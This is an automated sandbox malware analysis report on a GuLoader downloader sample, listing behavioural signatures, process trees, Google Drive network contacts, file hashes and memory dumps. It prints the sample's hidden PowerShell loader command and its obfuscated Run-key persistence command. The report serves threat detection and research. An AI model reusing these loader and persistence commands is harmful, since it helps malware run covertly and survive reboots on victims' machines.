Malware Analysis Report

2024-10-18 23:08

Sample ID 240710-c2zelatdmd
Target f626d873512895ed8be4ead8d18d4db04bdb19a74a83d44759a45257582a75cd.exe
SHA256 f626d873512895ed8be4ead8d18d4db04bdb19a74a83d44759a45257582a75cd
Tags
guloader downloader execution persistence
score
10/10

Table of Contents

Analysis Overview

MITRE ATT&CK

Enterprise Matrix V15

Analysis: static1

Detonation Overview

Signatures

Analysis: behavioral1

Detonation Overview

Command Line

Signatures

Processes

Network

Files

Analysis: behavioral2

Detonation Overview

Command Line

Signatures

Processes

Network

Files

Analysis Overview

score
10/10

SHA256

f626d873512895ed8be4ead8d18d4db04bdb19a74a83d44759a45257582a75cd

Threat Level: Known bad

The file f626d873512895ed8be4ead8d18d4db04bdb19a74a83d44759a45257582a75cd.exe was found to be: Known bad.

Malicious Activity Summary

guloader downloader execution persistence

Guloader,Cloudeye

Command and Scripting Interpreter: PowerShell

Adds Run key to start application

Legitimate hosting services abused for malware hosting/C2

Suspicious use of SetThreadContext

Suspicious use of NtCreateThreadExHideFromDebugger

Suspicious use of NtSetInformationThreadHideFromDebugger

Program crash

Enumerates physical storage devices

NSIS installer

Suspicious behavior: MapViewOfSection

Modifies registry key

Suspicious use of WriteProcessMemory

Suspicious use of AdjustPrivilegeToken

Suspicious behavior: EnumeratesProcesses

MITRE ATT&CK

Analysis: static1

Detonation Overview

Reported

2024-07-10 02:35

Signatures

NSIS installer

installer
Description Indicator Process Target
N/A N/A N/A N/A
N/A N/A N/A N/A

Analysis: behavioral1

Detonation Overview

Submitted

2024-07-10 02:35

Reported

2024-07-10 02:37

Platform

win7-20240704-en

Max time kernel

121s

Max time network

122s

Command Line

"C:\Users\Admin\AppData\Local\Temp\f626d873512895ed8be4ead8d18d4db04bdb19a74a83d44759a45257582a75cd.exe"

Signatures

Guloader,Cloudeye

downloader guloader

Command and Scripting Interpreter: PowerShell

execution
Description Indicator Process Target
N/A N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A

Adds Run key to start application

persistence
Description Indicator Process Target
Set value (str) \REGISTRY\USER\S-1-5-21-3294248377-1418901787-4083263181-1000\Software\Microsoft\Windows\CurrentVersion\Run\Offervilliges = "%Quaternary% -windowstyle minimized $Funktionslederes=(Get-ItemProperty -Path 'HKCU:\\Tilstransportlvr\\').Directoryet;%Quaternary% ($Funktionslederes)" C:\Windows\SysWOW64\reg.exe N/A

Legitimate hosting services abused for malware hosting/C2

Description Indicator Process Target
N/A drive.google.com N/A N/A
N/A drive.google.com N/A N/A

Suspicious use of NtCreateThreadExHideFromDebugger

Description Indicator Process Target
N/A N/A C:\Program Files (x86)\windows mail\wab.exe N/A
N/A N/A C:\Program Files (x86)\windows mail\wab.exe N/A

Suspicious use of NtSetInformationThreadHideFromDebugger

Description Indicator Process Target
N/A N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Program Files (x86)\windows mail\wab.exe N/A

Suspicious use of SetThreadContext

Description Indicator Process Target
PID 3052 set thread context of 2572 N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe C:\Program Files (x86)\windows mail\wab.exe

Enumerates physical storage devices

Modifies registry key

Description Indicator Process Target
N/A N/A C:\Windows\SysWOW64\reg.exe N/A

Suspicious behavior: MapViewOfSection

Description Indicator Process Target
N/A N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A

Suspicious use of AdjustPrivilegeToken

Description Indicator Process Target
Token: SeDebugPrivilege N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A

Suspicious use of WriteProcessMemory

Description Indicator Process Target
PID 1712 wrote to memory of 3052 N/A C:\Users\Admin\AppData\Local\Temp\f626d873512895ed8be4ead8d18d4db04bdb19a74a83d44759a45257582a75cd.exe C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
PID 1712 wrote to memory of 3052 N/A C:\Users\Admin\AppData\Local\Temp\f626d873512895ed8be4ead8d18d4db04bdb19a74a83d44759a45257582a75cd.exe C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
PID 1712 wrote to memory of 3052 N/A C:\Users\Admin\AppData\Local\Temp\f626d873512895ed8be4ead8d18d4db04bdb19a74a83d44759a45257582a75cd.exe C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
PID 1712 wrote to memory of 3052 N/A C:\Users\Admin\AppData\Local\Temp\f626d873512895ed8be4ead8d18d4db04bdb19a74a83d44759a45257582a75cd.exe C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
PID 3052 wrote to memory of 2572 N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe C:\Program Files (x86)\windows mail\wab.exe
PID 3052 wrote to memory of 2572 N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe C:\Program Files (x86)\windows mail\wab.exe
PID 3052 wrote to memory of 2572 N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe C:\Program Files (x86)\windows mail\wab.exe
PID 3052 wrote to memory of 2572 N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe C:\Program Files (x86)\windows mail\wab.exe
PID 3052 wrote to memory of 2572 N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe C:\Program Files (x86)\windows mail\wab.exe
PID 3052 wrote to memory of 2572 N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe C:\Program Files (x86)\windows mail\wab.exe
PID 2572 wrote to memory of 2592 N/A C:\Program Files (x86)\windows mail\wab.exe C:\Windows\SysWOW64\cmd.exe
PID 2572 wrote to memory of 2592 N/A C:\Program Files (x86)\windows mail\wab.exe C:\Windows\SysWOW64\cmd.exe
PID 2572 wrote to memory of 2592 N/A C:\Program Files (x86)\windows mail\wab.exe C:\Windows\SysWOW64\cmd.exe
PID 2572 wrote to memory of 2592 N/A C:\Program Files (x86)\windows mail\wab.exe C:\Windows\SysWOW64\cmd.exe
PID 2592 wrote to memory of 2568 N/A C:\Windows\SysWOW64\cmd.exe C:\Windows\SysWOW64\reg.exe
PID 2592 wrote to memory of 2568 N/A C:\Windows\SysWOW64\cmd.exe C:\Windows\SysWOW64\reg.exe
PID 2592 wrote to memory of 2568 N/A C:\Windows\SysWOW64\cmd.exe C:\Windows\SysWOW64\reg.exe
PID 2592 wrote to memory of 2568 N/A C:\Windows\SysWOW64\cmd.exe C:\Windows\SysWOW64\reg.exe

Processes

C:\Users\Admin\AppData\Local\Temp\f626d873512895ed8be4ead8d18d4db04bdb19a74a83d44759a45257582a75cd.exe

"C:\Users\Admin\AppData\Local\Temp\f626d873512895ed8be4ead8d18d4db04bdb19a74a83d44759a45257582a75cd.exe"

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

"powershell.exe" -windowstyle hidden "$Chemosensitivity=Get-Content 'C:\Users\Admin\AppData\Roaming\annekskirkers\dommedagens\nonmenial\Rhagadiform199.Udl';$saalbnkes=$Chemosensitivity.SubString(72809,3);.$saalbnkes($Chemosensitivity)"

C:\Program Files (x86)\windows mail\wab.exe

"C:\Program Files (x86)\windows mail\wab.exe"

C:\Windows\SysWOW64\cmd.exe

"C:\Windows\System32\cmd.exe" /c REG ADD HKCU\Software\Microsoft\Windows\CurrentVersion\Run /f /v "Offervilliges" /t REG_EXPAND_SZ /d "%Quaternary% -windowstyle minimized $Funktionslederes=(Get-ItemProperty -Path 'HKCU:\Tilstransportlvr\').Directoryet;%Quaternary% ($Funktionslederes)"

C:\Windows\SysWOW64\reg.exe

REG ADD HKCU\Software\Microsoft\Windows\CurrentVersion\Run /f /v "Offervilliges" /t REG_EXPAND_SZ /d "%Quaternary% -windowstyle minimized $Funktionslederes=(Get-ItemProperty -Path 'HKCU:\Tilstransportlvr\').Directoryet;%Quaternary% ($Funktionslederes)"

Network

Country Destination Domain Proto
US 8.8.8.8:53 drive.google.com udp
GB 172.217.16.238:443 drive.google.com tcp
US 8.8.8.8:53 c.pki.goog udp
GB 216.58.201.99:80 c.pki.goog tcp
US 8.8.8.8:53 o.pki.goog udp
GB 216.58.201.99:80 o.pki.goog tcp
US 8.8.8.8:53 drive.usercontent.google.com udp
GB 216.58.201.97:443 drive.usercontent.google.com tcp

Files

memory/3052-11-0x0000000073B71000-0x0000000073B72000-memory.dmp

memory/3052-12-0x0000000073B70000-0x000000007411B000-memory.dmp

memory/3052-13-0x0000000073B70000-0x000000007411B000-memory.dmp

memory/3052-15-0x0000000073B70000-0x000000007411B000-memory.dmp

memory/3052-14-0x0000000073B70000-0x000000007411B000-memory.dmp

C:\Users\Admin\AppData\Roaming\annekskirkers\dommedagens\nonmenial\Rhagadiform199.Udl

MD5 fc2223e92e3b7eb6b306e7489bc9ea76
SHA1 a886646121c2d0882b0f69cff28277fea465a431
SHA256 86fab35b54a947d4aba1fe2915a69748b51a8ee9cf9791678dcecda609d427af
SHA512 98ca788deef3630dbae7146d5377c44cd57a1bda8277a25170a033017f4a8b414e272d6d97e94139e306fed1e28e294a1e08d09d90fa49dc675ba5c9dda7e55e

memory/3052-18-0x0000000073B70000-0x000000007411B000-memory.dmp

C:\Users\Admin\AppData\Roaming\annekskirkers\dommedagens\nonmenial\Terzio.Pre27

MD5 bd2cb39300237694661fcb0686d7aeec
SHA1 c912db66db40e04a9436c248d8ee19eaa4e2c5c7
SHA256 33deda6aca491470e132ec1feead0d380bd35b792f886a1cd1f1ce29e9b5b21e
SHA512 49ecdaa68f3d1502d947faae83da3e24cf2459c6a2576a07dcb14ab0ddc14c76b9d4874d823463e1c4ee4453764cf9c2f2930c3b4ca1513294c003bb8cf21d89

memory/3052-20-0x0000000073B70000-0x000000007411B000-memory.dmp

memory/3052-21-0x0000000006520000-0x000000000A5E2000-memory.dmp

memory/3052-22-0x0000000073B70000-0x000000007411B000-memory.dmp

memory/2572-26-0x00000000006E0000-0x0000000001742000-memory.dmp

memory/2572-44-0x0000000001750000-0x0000000005812000-memory.dmp

Analysis: behavioral2

Detonation Overview

Submitted

2024-07-10 02:35

Reported

2024-07-10 02:37

Platform

win10v2004-20240709-en

Max time kernel

93s

Max time network

125s

Command Line

"C:\Users\Admin\AppData\Local\Temp\f626d873512895ed8be4ead8d18d4db04bdb19a74a83d44759a45257582a75cd.exe"

Signatures

Command and Scripting Interpreter: PowerShell

execution
Description Indicator Process Target
N/A N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A

Enumerates physical storage devices

Suspicious use of AdjustPrivilegeToken

Description Indicator Process Target
Token: SeDebugPrivilege N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A

Processes

C:\Users\Admin\AppData\Local\Temp\f626d873512895ed8be4ead8d18d4db04bdb19a74a83d44759a45257582a75cd.exe

"C:\Users\Admin\AppData\Local\Temp\f626d873512895ed8be4ead8d18d4db04bdb19a74a83d44759a45257582a75cd.exe"

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

"powershell.exe" -windowstyle hidden "$Chemosensitivity=Get-Content 'C:\Users\Admin\AppData\Roaming\annekskirkers\dommedagens\nonmenial\Rhagadiform199.Udl';$saalbnkes=$Chemosensitivity.SubString(72809,3);.$saalbnkes($Chemosensitivity)"

C:\Windows\SysWOW64\WerFault.exe

C:\Windows\SysWOW64\WerFault.exe -pss -s 408 -p 3460 -ip 3460

C:\Windows\SysWOW64\WerFault.exe

C:\Windows\SysWOW64\WerFault.exe -u -p 3460 -s 2700

Network

Country Destination Domain Proto
US 8.8.8.8:53 68.32.126.40.in-addr.arpa udp
US 8.8.8.8:53 205.47.74.20.in-addr.arpa udp
US 8.8.8.8:53 240.221.184.93.in-addr.arpa udp
US 8.8.8.8:53 21.236.111.52.in-addr.arpa udp

Files

memory/3460-9-0x000000007356E000-0x000000007356F000-memory.dmp

memory/3460-10-0x0000000003410000-0x0000000003446000-memory.dmp

memory/3460-11-0x0000000073560000-0x0000000073D10000-memory.dmp

memory/3460-12-0x0000000005B10000-0x0000000006138000-memory.dmp

memory/3460-13-0x0000000073560000-0x0000000073D10000-memory.dmp

memory/3460-14-0x0000000006140000-0x0000000006162000-memory.dmp

memory/3460-15-0x00000000062E0000-0x0000000006346000-memory.dmp

memory/3460-16-0x0000000006350000-0x00000000063B6000-memory.dmp

C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_kbqnsgcl.4bq.ps1

MD5 d17fe0a3f47be24a6453e9ef58c94641
SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

memory/3460-26-0x00000000063C0000-0x0000000006714000-memory.dmp

memory/3460-27-0x00000000069E0000-0x00000000069FE000-memory.dmp

memory/3460-28-0x0000000006A10000-0x0000000006A5C000-memory.dmp

memory/3460-29-0x0000000006F40000-0x0000000006FD6000-memory.dmp

memory/3460-30-0x0000000006EF0000-0x0000000006F0A000-memory.dmp

memory/3460-31-0x00000000079D0000-0x00000000079F2000-memory.dmp

memory/3460-32-0x0000000007FB0000-0x0000000008554000-memory.dmp

C:\Users\Admin\AppData\Roaming\annekskirkers\dommedagens\nonmenial\Rhagadiform199.Udl

MD5 fc2223e92e3b7eb6b306e7489bc9ea76
SHA1 a886646121c2d0882b0f69cff28277fea465a431
SHA256 86fab35b54a947d4aba1fe2915a69748b51a8ee9cf9791678dcecda609d427af
SHA512 98ca788deef3630dbae7146d5377c44cd57a1bda8277a25170a033017f4a8b414e272d6d97e94139e306fed1e28e294a1e08d09d90fa49dc675ba5c9dda7e55e

memory/3460-34-0x0000000008BE0000-0x000000000925A000-memory.dmp

memory/3460-36-0x0000000073560000-0x0000000073D10000-memory.dmp